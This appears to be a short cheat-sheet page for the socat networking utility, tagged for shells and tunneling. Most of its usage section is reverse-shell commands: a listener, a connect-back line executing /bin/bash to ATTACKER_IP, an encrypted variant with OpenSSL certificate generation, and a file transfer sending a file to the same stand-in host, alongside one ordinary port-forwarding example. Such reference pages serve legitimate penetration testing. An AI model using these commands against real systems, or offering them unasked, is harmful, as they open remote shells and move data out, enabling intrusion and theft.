Tools & Utility

Socat

Advanced networking utility that establishes bidirectional byte streams between two data channels.

#socat#networking#shells#tunneling

Socat: Advanced Network Relay

Socat is a command-line utility that establishes bidirectional byte streams between two data channels — like Netcat on steroids.

Usage

bash
# Reverse Shell Listener
socat TCP-L:4444 -

Connect back

socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash

Encrypted Reverse Shell (generate cert first)

openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt cat shell.key shell.crt > shell.pem

Encrypted Listener

socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 -

Encrypted Connect

socat OPENSSL:ATTACKER_IP:4444,verify=0 EXEC:/bin/bash

Port Forwarding

socat TCP-LISTEN:8080,fork TCP:192.168.1.1:80

File Transfer

socat TCP-LISTEN:4444 OPEN:received_file,creat socat TCP:ATTACKER_IP:4444 FILE:send_file